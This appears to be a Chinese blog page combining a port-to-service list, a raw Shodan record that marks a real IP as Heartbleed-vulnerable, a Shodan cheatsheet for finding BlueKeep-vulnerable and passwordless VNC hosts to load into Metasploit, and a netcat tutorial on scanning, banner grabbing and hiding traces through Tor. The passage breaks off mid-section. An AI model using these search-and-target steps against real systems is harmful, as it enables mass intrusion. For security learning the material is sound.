    3780Metasploit
    3787Ventrilo
    4000malware
    4022udpxy
    4040Deprecated Chef web interface
    4063ZeroC Glacier2
    4064ZeroC Glacier2 with SSL
    4070HID VertX/ Edge door controller
    4157DarkTrack RAT
    4369EPMD
    4443Symantec Data Center Security
    4444malware
    4500IKE NAT-T (VPN)
    4567Modem web interface
    4664Qasar
    4730Gearman
    4782Qasar
    4800Moxa Nport
    4840OPC UA
    4911Niagara Fox with SSL
    4949Munin
    5006MELSEC-Q
    5007MELSEC-Q
    5008NetMobility
    5009Apple Airport Administration
    5060SIP
    5094HART-IP
    5222XMPP
    5269XMPP Server-to-Server
    5353mDNS
    5357Microsoft-HTTPAPI/2.0
    5432PostgreSQL
    5577Flux LED
    5601Kibana
    5632PCAnywhere
    5672RabbitMQ
    5900VNC
    5901VNC
    5938TeamViewer
    5984CouchDB
    6000X11
    6001X11
    6379Redis
    6666Voldemort database, malware
    6667IRC
    6881BitTorrent DHT
    6969TFTP, BitTorrent
    7218Sierra wireless (Telnet)
    7474Neo4j database
    7548CWMP (HTTPS)
    7777Oracle
    7779Dell Service Tag API
    8008Chromecast
    8009Vizio HTTPS
    8010Intelbras DVR
    8060Roku web interface
    8069OpenERP
    8087Riak
    8090Insteon HUB
    8099Yahoo SmartTV
    8112Deluge (HTTP)
    8126StatsD
    8139Puppet agent
    8140Puppet master
    8181GlassFish Server (HTTPS)
    8333Bitcoin
    8334Bitcoin node dashboard (HTTP)
    8443HTTPS
    8554RTSP
    8800HTTP
    8880Websphere SOAP
    8888HTTP, Andromouse
    8889SmartThings Remote Access
    9000Vizio HTTPS
    9001Tor OR
    9002Tor OR
    9009Julia
    9042Cassandra CQL
    9051Tor Control
    9100Printer Job Language
    9151Tor Control
    9160Apache Cassandra
    9191Sierra wireless (HTTP)
    9418Git
    9443Sierra wireless (HTTPS)
    9595LANDesk Management Agent
    9600OMRON
    9633DarkTrack RAT
    9869OpenNebula
    10001Automated Tank Gauge
    10001Ubiquiti
    10243Microsoft-HTTPAPI/2.0
    10554RTSP
    11211Memcache
    12345malware
    17000Bose SoundTouch
    17185VxWorks WDBRPC
    12345Sierra wireless (Telnet)
    11300Beanstalk
    13579Media player classic web interface
    14147Filezilla FTP
    16010Apache Hbase
    16992Intel AMT
    16993Intel AMT
    18245General Electric SRTP
    20000DNP3
    20547ProconOS
    21025Starbound
    21379Matrikon OPC
    23023Telnet
    23424Serviio
    25105Insteon Hub
    25565Minecraft
    27015Steam A2S server query, Steam RCon
    27016Steam A2S server query
    27017MongoDB
    28015Steam A2S server query
    28017MongoDB (HTTP)
    30313Gardasoft Lighting
    30718Lantronix Setup
    32400Plex
    37777Dahuva DVR
    44818EtherNet/IP
    47808Bacnet
    49152Supermicro (HTTP)
    49153WeMo Link
    50070HDFS Namenode
    51106Deluge (HTTP)
    53413Netis backdoor
    54138Toshiba PoS
    55443McAfee
    55553Metasploit
    55554Metasploit
    62078Apple iDevice
    64738Mumble
    {
        "hostnames": [],
        "title": "",
        "ip": 2928565374,
        "isp": "iWeb Technologies",
        "transport": "tcp",
        "data": "HTTP/1.1 200 OK\r\nExpires: Sat, 26 Mar 2016 11:56:36 GMT\r\nExpire\
    s: Fri, 28 May 1999 00:00:00 GMT\r\nCache-Control: max-age=2592000\r\nCache-Cont\
    rol: no-store, no-cache, must-revalidate\r\nCache-Control: post-check=0, pre-che\
    ck=0\r\nLast-Modified: Thu, 25 Feb 2016 11:56:36 GMT\r\nPragma: no-cache\r\nP3P:\
     CP=\"NON COR CURa ADMa OUR NOR UNI COM NAV STA\"\r\nContent-type: text/html\r\n\
    Transfer-Encoding: chunked\r\nDate: Thu, 25 Feb 2016 11:56:36 GMT\r\nServer: sw-\
    cp-server\r\n\r\n",
     "asn": "AS32613",
        "port": 8443,
        "ssl": {
            "chain": ["-----BEGIN CERTIFICATE-----\nMIIDszCCApsCBFBTb4swDQYJKoZIhvcN\
    AQEFBQAwgZ0xCzAJBgNVBAYTAlVTMREw\nDwYDVQQIEwhWaXJnaW5pYTEQMA4GA1UEBxMHSGVybmRvbj\
    ESMBAGA1UEChMJUGFy\nYWxsZWxzMRgwFgYDVQQLEw9QYXJhbGxlbHMgUGFuZWwxGDAWBgNVBAMTD1Bh\
    cmFs\nbGVscyBQYW5lbDEhMB8GCSqGSIb3DQEJARYSaW5mb0BwYXJhbGxlbHMuY29tMB4X\nDTEyMDkx\
    NDE3NTUyM1oXDTEzMDkxNDE3NTUyM1owgZ0xCzAJBgNVBAYTAlVTMREw\nDwYDVQQIEwhWaXJnaW5pYT\
    EQMA4GA1UEBxMHSGVybmRvbjESMBAGA1UEChMJUGFy\nYWxsZWxzMRgwFgYDVQQLEw9QYXJhbGxlbHMg\
    UGFuZWwxGDAWBgNVBAMTD1BhcmFs\nbGVscyBQYW5lbDEhMB8GCSqGSIb3DQEJARYSaW5mb0BwYXJhbG\
    xlbHMuY29tMIIB\nIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxc9Vy/qajKtFFnHxGOFPHTxm\
    \nSOnsffWBTBfyXnK3h8u041VxvZDh3XkpA+ptg2fWOuIT0TTYuqw+tqiDmg8YTsHy\njcpMFBtXV2cV\
    dhKXaS3YYlM7dP3gMmkGmH+ZvCgCYc7L9MIJxYJy6Zeuh67YxEMV\ngiU8mZpvc70Cg5WeW1uBCXtUAi\
    jDLsVWnhsV3YuxlweEvkRpAk3EHehKbvgMnEZS\nQ30QySe0GAqC7bWzKrwsJAOUk/+Js18+3QKb/LmD\
    a9cRjtFCTo6hYfPbfHj8RxQh\n4Xmnn/CtZ48wRQTqKXSO6+Zk3OuU7/jX1Gt/jxN6n77673e6uCsggT\
    wut/EtNwID\nAQABMA0GCSqGSIb3DQEBBQUAA4IBAQBb/yTy76Ykwr7DBOPAXc766n73OsZizjAt\n1k\
    mx7LxgN3X/wFxD53ir+sdOqbPgJl3edrE/ZG9dNl6LhUBbUK+9s6z9QicEfSxo\n4uQpFSywbGGmXInE\
    ZmyT4SsOLi/hNgy68f49LO1h6rn/p7QgIKd31g7189ZfFkFb\nRdD49s1l/Cc5Nm4XapUVvmnS91MlPk\
    /OOIg1Lu1rYkuc8sIoZdPbep52H3Ga7TjG\nkmO7nUIii0goB7TQ63mU67+NWHAmQQ8CtCDCN49kJyen\
    1WFjD6Je2U4q0IFQrxHw\nMy+tquo/n/sa+NV8QOj1gMVcFsLhYm7Z5ZONg0QFXSAL+Eyj/AwZ\n----\
    -END CERTIFICATE-----\n"],
            "cipher": {
                "version": "TLSv1/SSLv3",
                "bits": 256,
                "name": "DHE-RSA-AES256-GCM-SHA384"
            },
            "alpn": [],
            "dhparams": {
                "prime": "b10b8f96a080e01dde92de5eae5d54ec52c99fbcfb06a3c69a6a9dca52\
    d23b616073e28675a23d189838ef1e2ee652c013ecb4aea906112324975c3cd49b83bfaccbdd7d90\
    c4bd7098488e9c219a73724effd6fae5644738faa31a4ff55bccc0a151af5f0dc8b4bd45bf35c1a65e68cfda76d4da708df1fb2bc2e4a4371",
                "public_key": "2e30a6e455730b2f24bdaf5986b9f0876068d4aa7a4e15c9a1b9c\
    a05a420e8fd3b496f7781a9423d3475f0bedee83f0391aaa95a738c8f0e250a8869a86d41bdb0194\
    66dba5c641e4b2b4b82db4cc2d4ea8d9804ec00514f30a4b6ce170b81c3e1ce4b3d17647c8e5b8f6\
    65bb7f588100bcc9a447d34d728c3709fd8a5b7753b",
                "bits": 1024,
                "generator": "a4d1cbd5c3fd34126765a442efb99905f8104dd258ac507fd6406c\
    ff14266d31266fea1e5c41564b777e690f5504f213160217b4b01b886a5e91547f9e2749f4d7fbd7\
    d3b9a92ee1909d0d2263f80a76a6a24c087a091f531dbf0a0169b6a28ad662a4d18e73afa32d779d\
    5918d08bc8858f4dcef97c2a24855e6eeb22b3b2e5",
                "fingerprint": "RFC5114/1024-bit MODP Group with 160-bit Prime Order\
     Subgroup"
            },
            "versions": ["TLSv1", "-SSLv2", "SSLv3", "TLSv1.1", "TLSv1.2"]
        },
        "html": "\n\t\t<html><head>\n\t\t<meta charset=\"utf-8\">\n\t\t<meta http-eq\
    uiv=\"X-UA-Compatible\" 
    content=\"IE=edge,chrome=1\">\n\t\t<title></title>\n\t\t\
    <script language=\"javascript\" type=\"text/javascript\" src=\"/javascript/commo\
    n.js?plesk_version=psa-11.0.9-110120608.16\"/></script>\n\t\t<script language=\"\
    javascript\" type=\"text/javascript\" src=\"/javascript/prototype.js?plesk_versi\
    on=psa-11.0.9-110120608.16\"></script>\n\t\t<script>\n\t\t\tvar opt_no_frames = \
    false;\n\t\t\tvar opt_integrated_mode = false;\n\t\t</script>\n\t\t\n\t\t</head>\
    <body onLoad=\";top.location='/login.php3?window_id=&amp;requested_url=https%3A%\
    2F%2F174.142.92.126%3A8443%2F';\"></body><noscript>You will be redirected to the\
     new address in 15 seconds... If you are not automatically taken to the new loca\
    tion, please enable javascript or click the hyperlink <a href=\"/login.php3?wind\
    ow_id=&amp;requested_url=https%3A%2F%2F174.142.92.126%3A8443%2F\" target=\"top\"\
    >/login.php3?window_id=&amp;requested_url=https%3A%2F%2F174.142.92.126%3A8443%2F\
    </a>.</noscript></html><!--_____________________________________________________\
    ________________________________________________________________________________\
    ________________________________________________________________________________\
    _________________________IE error page size limitation__________________________\
    ________________________________________________________________________________\
    ________________________________________________________________________________\
    ____________________________________________________-->",
        "location": {
            "city": null,
            "region_code": "QC",
            "area_code": null,
            "longitude": -73.5833,
            "country_code3": "CAN",
            "latitude": 45.5,
            "postal_code": "H3G",
            "dma_code": null,
            "country_code": "CA",
            "country_name": "Canada"
        },
        "timestamp": "2016-02-25T11:56:52.548187",
        "domains": [],
        "org": "iWeb Technologies",
         "os": null,
        "_shodan": {
            "options": {},
            "module": "https",
            "crawler": "122dd688b363c3b45b0e7582622da1e725444808"
        },
        "opts": {
            "heartbleed": "2016/02/25 03:56:45 ([]uint8) {\n 00000000  02 00 74 63 6\
    5 6e 73 75  73 2e 73 68 6f 64 61 6e  |..tcensus.shodan|\n 00000010  2e 69 6f 53 \
    45 43 55 52  49 54 59 20 53 55 52 56  |.ioSECURITY SURV|\n 00000020  45 59 fe 7a\
     a2 0d fa ed  93 42 ed 18 b0 15 7d 6e  |EY.z.....B....}n|\n 00000030  29 08 f6 f\
    8 ce 00 b1 94  b5 4b 47 ac dd 18 aa b9  |)........KG.....|\n 00000040  db 1c 01 \
    45 95 10 e0 a2  43 fe 8e ac 88 2f e8 75  |...E....C..../.u|\n 00000050  8b 19 5f\
     8c e0 8a 80 61  56 3c 68 0f e1 1f 73 9e  |.._....aV<h...s.|\n 00000060  61 4f d\
    a db 90 ce 84 e3  79 5f 9d 6c a0 90 ff fa  |aO......y_.l....|\n 00000070  d8 16 \
    e8 76 07 b2 e5 5e  8e 3e a4 45 61 2f 6a 2d  |...v...^.>.Ea/j-|\n 00000080  5d 11\
    74 94 03 3c 5d                              |].t..<]|\n}\n\n2016/02/25 03:56:45\
     174.142.92.126:8443 - VULNERABLE\n",
            "vulns": ["CVE-2014-0160"]
        },
        "ip_str": "174.142.92.126"
    }

    常用命令

    shodan search --limit 10 --fields ip_str,port country:kr device:router
    city:shanghai
    port:8080
    os:windows xp
    device:webcan,router,switch
    has_vuln:true
    
    shodan host ip
    
    Windows RDP CVE-2019-0708(bluekeep):
    shodan search '"x03ixO0lx00lx0blx06lxdO\xOOlx00\x124\x00"'
    shodan download name.file --limit number content 
    shodan parse --fields ip_str file.location > 0708.txt
    msf:
    set rhosts file:file.location
    file formats: 
    ip1
    ip2
    
    shodan search --limit 30 --fields ip_str "authentication disabled" port:5900 #搜索vnc空密码的服务器
    shodan download --limit 30 xxx 
    shodan count xxx
    shodan parse --fileds ip_str "file.location" > vnc.txt #解析下载的文件并把指定字段写入vnc.txt
    shodan honeypot 8.8.8.8 #查看服务器是否是蜜罐
    shodan host 8.8.8.8 --history #查看服务器的历史信息:以前的漏洞,部署过的服务等
    shodan myip #查看联公网的出口ip
    shodan --limit 10 --fields ip_str,port http.title:hacked by
    shodan --limit 10 --fields ip_str,port "cisco -authorized port:23"
    shodan --limit 10 --fields ip_str,port net:208.88.84.0/24 #搜索网段
    has_screenhot:true encrypted attention #搜索有快照的服务器,并且根据快照OCR文字进行过滤,比如回收站
    has_screenhot:true screenshot.label:ics #搜索工控设备
    shodan stats --facets ssl.version country:cn has_ssl:true #统计分析

    VS Google搜索

    https://www.exploit-db.com/google-hacking-database

    有很多google高级语法可以借鉴

  • netcat的 N 种用法

    netcat的 N 种用法

    今天这篇文章主要目的是:介绍如何用 netcat 这款小工具进行网络诊断、网络配置、系统管理。另外:本文并不是为了传授入侵技巧,而是为了让那些注重安全性的同学,稍微了解一些入侵者的手法,做到知己知彼。

    netcat 是什么

    netcat 一般简称为 nc,直译为中文就是网猫,被誉为网络上的瑞士军刀。它诞生于1995年,在网络安全社区的名气很大(就如同 AK47 在军事领域的名气)。长期在安全圈内混的人,应该都知道它。想当年,insecure.org 网站在本世纪初搞过几次年度投票,评选优秀的安全工具。每次投票,netcat 都能排进前几名。

    关于 nc 的更多介绍,请参见维基百科[链接]

    netcat 能做什么

    概述

    简而言之,nc 是一个命令行工具,能够很方便、很灵活地地操纵传输层协议(这里所说的传输层协议指的是 OSI 模型中的第4层,主要是 TCP & UDP)。

    nc 的变种

    由于 nc 是如此牛逼,而它本身又很小(不但软件很小,源代码也很少)。很容易就衍生出一大堆变种。不同的变种,会在原有 nc 的基础上增加一些新功能。本文的内容,主要基于 OpenBSD 社区的变种(OpenBSD netcat或netcat-openbsd)

    顾名思义,这是由 OpenBSD 社区重写的 netcat,主要增加了对IPv6、proxy、Unix sockets等功能的支持。另外,在细节上也有若干完善。虽然它出自 OpenBSD 社区,但很多主流 Linux 发行版的官方软件仓库已包含这个变种(比如说:Debian 、Arch 、openSUSE 、Gentoo等),OpenBSD netcat官网的帮助页面[链接],官方代码仓库[链接]

    本文后续部分提到的 nc,除非专门注明,否则都是指:netcat 的 OpenBSD 变种。原始的 netcat会称之为原版 nc(traditional netcat)。

    nc 命令行简介

    要使用 nc,需要在命令行中与它打交道(它所有的功能,都以命令行的方式呈现出来)。

    nc 命令行的常规形式

    一般来说,nc 的命令行包括如下几个部分:

    nc 命令选项 主机 端口
    • 命令选项
      这部分可能包含 0~N 个选项(注:这部分最复杂,下一个小节单独聊)
    • 主机
      这部分可能没有,可能以点分十进制形式表示,也可能以域名形式表示。
    • 端口
      这部分可能没有,可能是单个端口,可能是端口范围。
      对于端口范围,以两个数字分别表示开始和结束,中间以半角减号相连。举例:1-1024

    常用的命令行选项

    选项是否有选项值说明
    hNO输出 nc 的帮助
    vNO在网络通讯时,显示详细的输出信息
    注:建议新手多用该选项,出错时帮你诊断问题
    nNO对命令行中的主机,不进行域名解析
    注:如果主机是点分格式的 IP 地址,需要用该选项;
    如果主机是域名形式,不能用该选项
    pYES指定端口号
    lNO开启监听模式,nc 作为服务端
    注:如不加该选项,nc 默认作为客户端
    uNO使用 UDP 协议
    注:如不加该选项,默认是 TCP 协议
    wYES设置连接的超时间隔(N 秒)
    qYES让 nc 延时(N 秒)再退出
    zNO开启zero-I/O 模式
    注:该选项仅用于端口扫描,后面会聊到
    kNO配合 -l 选项使用,可以重复接受客户端连接。
    注:原版 nc的该选项用来开启TCP keepalive
    这是原版 nc与OpenBSD 变种之间的差异之一
    XYES指定代理的类型(具体用法,后面会聊到)
    注:原版 nc没有该选项。这是原版 nc与OpenBSD 变种之间的差异之一
    xYES以 IP:port 的格式指定代理的位置。
    注:原版 nc没有该选项。这是原版 nc与OpenBSD 变种之间的差异之一
    eYES启动某个进程,把该进程的标准输入输出与网络通讯对接
    注:通常用该选项开启一个网络后门
    OpenBSD 变种基于安全考虑,已去掉该选项,
    但还是能用间接的方式达到同样的效果 🙂

    汇总上述表格,只是用来速查。在后续章节会具体介绍每个命令选项的详细用法。

    场景一:测试某个远程主机的监听端口是否可达

    场景说明

    经常有这种需求,要判断某个主机的监听端口是否能连上。导致监听端口无法连接,通常有两种原因:

    1. 监听端口没有开启。
    2. 监听端口已开启,但被防火墙阻拦。

    对第1个原因,可以直接用 netstat 这个命令查看监听端口是否开启。但对于第2个原因,netstat 就用不上。这时候就可以用 nc 来查看。

    方法

    用如下命令可以测试某个 IP 地址(x.x.x.x)上的某个监听端口(xx)是否开启。

    nc -nv x.x.x.x xx

    上述命令用到了如下几个选项:

    • 选项 -v
      打印更详细的输出
    • 选项 -n
      由于测试的是IP 地址,用该选项告诉 nc,无须进行域名(DNS)解析。反之,如果测试的主机是基于域名,就不能用选项 -n

    补充说明:超时设置

    在测试链接时,如果没有使用 -w 这个超时选项,默认情况下 nc 会等待很久,然后才通知连接失败。如果你所处的网络环境稳定且高速(比如:局域网内),那么可以追加-w 选项,设置一个比较小的超时值。在下面的例子中,超时值设为3秒。

    nc -nv -w 3 x.x.x.x xx

    补充说明:UDP

    通常情况下,要测试的端口都是 TCP 协议的端口,如果你碰到特殊情况,需要测试某个 UDP 的端口是否可达。nc 同样能胜任。只需要追加 -u 选项。

    场景二:判断防火墙是否允许 or 禁止某个端口

    场景说明

    假设正在配置防火墙规则,禁止 TCP 的 8080 端口对外监听。那么如何验证配置是否正确?更进一步说:如果当前没有任何软件开启 8080 这个监听端口,如何判断:该端口号是否会被防火墙阻拦?

    为了叙述方便,设想如下场景:
    有两台主机:主机C充当客户端,主机S充当服务端。然后要判断主机S上的防火墙是否会拦截其它主机对 8080 TCP 端口的连接。

    方法

    在主机S上运行 nc,让它在 8080 端口,命令如下:

    nc -lv -p 8080
    • 选项 -l
      让 nc 进入监听模式
    • 选项 -p
      具体端口号

    然后在主机C上运行 nc,测试主机S上的 8080 端口是否可达(场景一

    补充说明:是否省略 -p?

    某些 nc 的变种,在开启监听模式时,可以省略 -p,上述命令变为如下:

    nc -lv 8080  

    但考虑到兼容性,本文总是写上 -p 选项。

    补充说明:如何让 nc 的监听端口持续开启

    在默认情况下,nc 开启 listen 模式充当服务端,在接受第一次客户端连接之后,就会把监听端口关闭。这是因为当年设计 nc 更多的是作为某种网络诊断/配置工具,并不是真拿它当服务端软件来用的。如果想让 nc 始终监听模式,使之能重复接受客户端发起的连接,可以追加 -k 选项。

    补充说明:UDP

    上述举例基于 TCP 协议。如果测试 UDP 协议,需要在两端的 nc 都追加 -u 选项。

    场景三:用 nc 进行端口扫描

    场景说明

    场景一里面已经介绍如何测试单个端口是否可达。扩展一下:如果要测试的不止一个端口,而是某个范围的端口。这种行为有个专门的术语叫端口扫描

    端口扫描是一把双刃剑,黑帽子用这招进行信息收集,为后续的入侵做铺垫。白帽子用这招来进行渗透测试,以排查自己系统中尚未屏蔽的对外监听端口。

    方法

    下面这个命令,用来扫描 IP 地址为 x.x.x.x 的主机,扫描的端口范围从 1 到 1024

    nc -znv x.x.x.x 1-1024
    • 选项 -z
      开启zero-I/O 模式:nc 只判断某个监听端口是否能连上,连上后不与对端进行数据通讯
    • 选项 -n
      参见场景一说明
    • 选项 -v
      -v 选项前面也聊过,这里要特别强调:对 nc 的其它用法,-v 选项可加可不加,但对于端口扫描,一定要有这个选项,否则看不到扫描结果

    补充说明:优化输出

    端口扫描时,-v 选项会把成功/失败的结果统统打印出来。而通常关注的都是扫描成功的那些端口。因此,可以用如下命令过滤一下,只打印扫出来的端口:

    nc -znv x.x.x.x 1-1024 2>&1 | grep succeeded

    由于-v 选项产生的输出位于stderr,上述命令中的 2>&1 用来把stderr合并到stdout(注:这种写法只适用于 POSIX 系统上的 shell),grep 命令用来进行过滤。对于 Windows 系统,默认没有grep 命令,需改用 find 命令过滤。

    补充说明:超时设置

    如果要扫描的端口范围,跨度比较大,超时值要恰到好处:超时值太大,会浪费时间。超时值太小,可能会遗漏某些端口(端口本身开放,但 nc 还没来得及连上就超时)。

    补充说明:并发扫描

    如果设置了较小的超时值,依然嫌慢,还可以用并发扫描的方式进一步提升效率,简而言之就是:同时运行多个 nc,分别扫描不同的端口范围。

    场景四:用 nc 消除网络层面的踪迹

    场景说明

    原版 nc不支持代理,而 nc 的OpenBSD 变种支持各种代理。这是两种 nc 之间的关键性差异之一。

    方法

    为了支持代理,nc 的OpenBSD 变种增加了两个选项:-X 与 -x

    选项 -x
    该选项表示代理的位置,以 x.x.x.x:xxx 的形式表示

    选项 -X
    该选项表示代理的类型,含义如下:

    选项值含义
    5SOCKS5 代理
    4SOCKS4 代理
    connectCONNECT 型的 HTTP 代理

    首先,确保本机已经运行了 Tor,然后测试一个域名,如果 nc 的输出中包含 succeeded,说明nc 已经能通过 Tor 联网。

    nc -X 5 -x 127.0.0.1:9050 -q 3 -v www.google.com 443 
    Connection to www.google.com 443 port [tcp/https] succeeded! 

    (注:如果你用的是Tor Browser,上述命令中的-x 选项值改为 127.0.0.1:9150

    补充说明:延时退出

    在上述举例中,用到了一个新的 -q 选项。主要考虑到:用 nc 连接公网服务器时,网络传输质量会受到诸多因素的影响,最好加 -q 选项,让 nc延时3秒退出,实际操作要根据个人网络环境进行调整。

    补充说明:Tor 线路

    由于 Tor 的线路会经历三级跳三重套,而且其线路每隔10分钟就会随机变换一次。这种方式让网络层面的逆向追溯变得非常困难。

    补充说明:域名解析

    当用了nc over Tor之后,一旦 nc 的网络行为需要解析域名,会自动通过 Tor 的 SOCKS 代理进行远程域名解析。也就是说,DNS 协议相关数据流也经过 Tor,这样就可以消除网络层面的踪迹。

    补充说明:设置别名(alias)

    如果觉得每次都输入上述两个代理选项太麻烦,可以为 nc 设置一个别名

    alias nc-tor='nc -X 5 -x 127.0.0.1:9050'  

    设置好之后,只要用 nc-tor 就可以自动追加代理选项。如果想让别名永久生效,要把上述命令加入到当前使用的 shell 的启动文件中。再次说明,裸 Tor与Tor Browser的监听端口有差异。上述命令的 9050 是用于裸 Tor。

    场景五:用 nc 探测服务器类型和软件版本

    场景说明

    黑帽子有一个很重要的步骤叫做信息收集,对目标了解得越多,得手的机会就越大。下面以 SSH Server(sshd)举例。

    方法

    远程管理服务器,大概最常用的就是 SSH 这种方式,如果某个服务器运行了SSH 服务端,那么用如下命令可以看出:该服务器的操作系统类型,以及 SSH server 的版本:

    echo "EXIT" | nc-tor -vq 5 -n 服务器IP 22 
    echo "EXIT" | nc-tor -vq 5 服务器域名 22
    • 选项 -v
      nc 会先显示端口已经连上或者端口连不上
    • 选项 -q
      参见场景四的延时退出
    • nc-tor 别名
      参见场景四的设置别名

    前面聊了这么久,一直没有给出实例。现在来一个真实的例子:用 nc 探测 Github 的 SSH 端口(注:在如下终端窗口中,头一行是命令,后面两行是输出)

    echo "EXIT" | nc-tor -vq 5 ssh.github.com 22 
    Connection to ssh.github.com 22 port [tcp/ssh] succeeded! 
    SSH-2.0-babeld-dae25663

    补充说明:echo 命令

    上述用到的 echo 命令是 POSIX 下常用的命令。Windows 的命令行中也有同名的命令,但功能/用法有差异。

    补充说明:批处理 & 自动化

    攻击者甚至可以写一个脚本,批量探测某个 IP 地址段的 22 端口,然后把找到的服务器信息保存在某个文件中。另外,有的系统管理员会把 sshd 的监听端口从 22 改为其它数值,想要迷惑攻击者。但这么做效果不大:可以先进行端口扫描,拿到所有已开启的 TCP 监听端口,然后利用上述方法,对这些 TCP 端口进行自动化探测,从而判断出哪个端口是 SSH Server。

    补充说明:防范措施

    本章节以SSH Server举例来说明入侵者如何探测服务端的软件版本。除了SSH Server,很多其它的服务端软件,也存在类似的信息暴露。一个谨慎的系统管理员,应该通过定制,消除或伪造这些信息,从而增加入侵者的攻击成本。

    场景六:用 nc 实现无痕 Web 访问

    场景说明

    有时候想要看某个 Web 服务器上的某个页面的内容,但是又不希望在上面留下任何痕迹。这里所说的痕迹既包括网络层面,也包括操作系统&软件层面滴。
    要解决网络层面,主要靠Tor or I2P,来隐藏真实的公网 IP,具体参见场景四。要解决操作系统&软件层面会麻烦一些。如果用传统的浏览器(Chrome、Firefox、IE、Edge等)访问了某个页面。即使禁用了 JS,伪造了浏览器的User Agent。但如果 Web 服务器想要收集你的系统指纹,还是有若干办法:可以通过浏览器的一些差异,获得某些信息量(浏览器指纹)。比如:

    • HTTP 协议的Header字段可能会包含某些信息
    • 不同内核的浏览器,对页面的渲染会有差异。对页面中的外部元素(图片、JS、CSS等)的加载效率也会有所差异
    • 即使同一款浏览器,在不同系统平台上,依然会表现出某些差异
    • ……

    此时,nc 再度派上用场:可以使用 nc 直接抓取页面保存到本机,相当于:让 nc 在裸 TCP层面执行 HTTP 协议的命令。在整个过程中,浏览器完全不参与其中。既不会暴露浏览器的信息,也不会暴露操作系统的信息。

    方法

    先执行下列两个命令的其中一个(具体看用IP还是域名)

    echo -e "GET / HTTP/1.0\r\n\r\n" | nc-tor -vq 5 服务器域名 端口 
    echo -e "GET / HTTP/1.0\r\n\r\n" | nc-tor -vq 5 -n 服务器IP 端口

    nc 会把这个页面抓下来,打印到命令行终端。这时候看到的是HTML 源代码。上述命令访问的是 Web Server 的根路径。如果你想要看其它路径的页面(比如说:/index.html),稍微修改成如下:

    echo -e "GET /index.html HTTP/1.0\r\n\r\n" | nc-tor -vq 5 服务器域名 端口 
    echo -e "GET /index.html HTTP/1.0\r\n\r\n" | nc-tor -vq 5 -n 服务器IP 端口

    由于正常人类是无法直接阅读HTML 源代码,为了更加人性化,可以把 nc 抓下来的 HTML 源代码,(在命令行中用大于号)重定向到某个 HTML 文件,然后就可以用本机的浏览器阅读。

    补充说明:HTTP 协议

    协议版本
    有些同学会奇怪:为何上述的示例用的是 1.0 而不是 1.1?主要是为了偷懒,按照 RFC 的规范,HTTP 1.1 的 Request 中,Host 是必须的字段;而在 HTTP 1.0 中,这个字段是可选的。 🙂

    HTTPS
    nc 的OpenBSD 变种还不支持 HTTPS(SSL/TLS)。在本文末尾介绍的其它变种里面,ncat & socat 已经完全支持 SSL/TLS 协议。由于本文主要介绍 nc 的OpenBSD 变种,关于 ncat & socat 的话题,就不展开了。

    补充说明:这种方式的缺点

    关于页面的外部元素
    这种方式nc 只抓取页面本身,不包括页面中的外部元素(图片、JS、CSS等)。
    这种方式拿到的页面,阅读的时候会显得比较丑陋(就凑合着看吧)

    关于JS 引擎
    由于此方式只是在 TCP 层面模拟了简单的 HTTP 协议。所以只能得到静态 HTML。如果某个页面的内容是依靠前端 JS动态生成( AJAX 风格),那么这种方式则无效(因为 nc没有JS 引擎)。

    场景七:基于 nc 的端口转发(Port Forward)

    原理

    用 nc 进行端口转发,需要运行两个nc 进程,一个充当服务端,另一个是客户端,然后用管道让把两个进程的标准输入输出交叉配对。所谓的交叉配对就是:每一个 nc 进程的标准输出都对接到另一个 nc 进程的标准输入。如此一来,就可以完美地建立双向通讯

    大部分 shell 都支持管道符(竖线符号 |),可以把某个进程的标准输出,重定向给另一个进程的标准输入。但是 shell 的管道符只能做到单向配对,无法做到交叉配对。所以还需要再借助另一个管道——也就是命名管道。

    命名管道(named pipe)是一种进程间通讯(IPC)的机制。顾名思义,命名管道就是有名号的,而 shell 中使用的那个管道符,其本质上是匿名管道(无名管道)。

    主流的操作系统(Windows、Linux、UNIX)都支持命名管道这种机制,本文只以 Linux 举例。

    方法

    步骤1:创建命名管道
    用下面这个简单的命令创建一个命名管道,其名称叫做 nc_pipe(也可以用别的名称)。

    mkfifo nc_pipe

    步骤2:同时启动两个 nc

    nc -l -p 1234 < nc_pipe | nc 127.0.0.1 5678 > nc_pipe  

    运行上述命令之后,就可以把本机的 1235 端口重定向到本机的 5678 端口,前一个 nc 充当服务端,后一个 nc 充当客户端。命令行中的管道符使得服务端nc的输出绑定到客户端nc的输入。然后再用 nc_pipe 这个命名管道做中转,使得客户端nc的输出绑定到服务端nc的输入。从而完成了交叉配对。

    补充说明:如何让 nc 的监听端口持续开启

    参见场景二的持续开启

    场景八:基于 nc 的代理转发(Proxy Forward)

    场景说明

    提醒一下:不要混淆本章节与场景四
    场景四聊的是nc 自己通过代理进行网络访问(nc over Tor),本章节聊的是nc 帮助其它网络软件走代理进行网络访问(XX软件 over nc over Tor)。

    比如说,SSH 是很常用的一个安全工具:用来远程操作服务器。在某些特殊场合,想要通过 SSH 登录某个服务器,但是又不希望服务器记录其真实的公网 IP,说到这里,可能猜到让 SSH 走 Tor 代理(SSH over Tor)。但可惜的是:(POSIX 系统中常用的)OpenSSH 客户端不支持SOCKS 代理,而 Tor 默认提供的是 SOCKS 代理。这时候,netcat 就派上用场啦——用 nc 把 SSH 的数据流转发到 Tor 的 SOCKS 代理。

    方法

    用如下命令测试连接是否成功。

    ssh -o "ProxyCommand=nc -X 5 -x 代理地址:端口号 %h %p" -T ssh.xxxxxx.com
    1. 假如Tor 客户端运行在本机,那么上述命令中的代理地址就替换为 127.0.0.1
      否则就替换为:运行 Tor 客户端的主机的 IP 地址。
    2. 如果Tor 客户端用的是 Tor Browser,端口号必须用 9150
      如果你用的是 Tor 的其它软件包(比如:Tor Expert Bundle),则端口号使用 9050

    上述测试命令如果最终显示 Permession denied 就说明已经通过 SOCKS 代理连接到 xxxxxx 了(也就是说,你的 SSH 已经能够走 SOCKS 代理联网了)。如果没有显示这个信息,而是显示了其它其它信息,你再用如下命令重新试一次

    ssh -o "ProxyCommand=nc -X 5 -x 代理地址:端口号 %h %p" -Tv ssh.xxxxxx.com

    这次加了一个 v 选项,可以打印出详细的诊断信息。

    为了方便起见,同样可以把 SSH 的这个 ProxyCommand 命令行选项加入到 SSH 的配置文件。如此一来,以后每次你要连接 Website 的服务器,都会自动走 Tor 提供的 SOCKS 代理。

    补充说明:SSH over Tor与Tor over SSH

    即使懂技术的同学,有时候也会混淆这两者,说明一下:

    • Tor over SSH
      这种方式相当于 SSH 作为 Tor 的前置代理。假设你有一个 SSH server,就可以让你的 Tor 客户端通过这个 SSH server 联网。
    • SSH over Tor
